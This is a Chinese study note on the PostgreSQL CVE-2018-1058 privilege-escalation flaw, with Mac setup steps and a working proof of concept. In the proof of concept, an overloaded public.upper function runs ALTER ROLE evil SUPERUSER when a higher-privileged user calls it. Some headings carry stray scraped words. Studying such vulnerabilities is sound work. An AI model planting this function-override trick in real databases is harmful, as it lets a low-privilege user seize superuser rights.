PostgreSQL遠程代碼執行漏洞(CVE-2018-1058)學習筆記

零、參考文獻和緒論:html

一、先知社區chybeta大神的--PostgreSQL 遠程代碼執行漏洞分析及利用—【CVE-2018-1058】--一文sql

二、博客園hunchill的--Mac 下 PostgreSQL 的安裝與使用--一文數據庫

1、PostgreSQL環境搭建:函數

在mac上面安裝postgresql並啓動postgresqlpost

1 brew install postgresql
2 brew services start postgresql

2、建立用戶配置環境:spa

一、初始化數據庫,忘記在安裝中仍是初始化中,生成了超級用戶,個人超級用戶是hostname,這裏使用bobac代替postgresql

1 brew services stop postgresql
2 initdb /usr/local/var/postgres -E utf8
3 brew services start postgresql

二、建立普通用戶code

1 createuser evil -P

三、建立數據庫:htm

1 createdb evil -O evil -E UTF8 -e

3、原理分析介紹:blog

  這個漏洞的原理就是在public空間上重載函數,加入惡意的程序代碼。等待其餘帳戶,尤爲是高權限帳戶調用這個函數的時候,就會執行惡意代碼(以高權限執行)從而達到遠程惡意代碼執行的目的。

4、過程舉例(參考)

一、建立表並插入數據(evil權限執行):

1 CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents;

二、定義函數(evil權限執行):

1 CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
2     ALTER ROLE evil SUPERUSER;
3     SELECT pg_catalog.upper($1);
4 $$ LANGUAGE SQL VOLATILE;

三、查詢時候使用upper函數(bobac權限執行)

1 SELECT upper(contents) FROM hehehehe;

此時就執行了ALTER ROLE evil SUPERUSER;

四、而後查看用戶權限:

1 SELECT rolname,rolsuper FROM pg_roles;

相關文章
相關標籤/搜索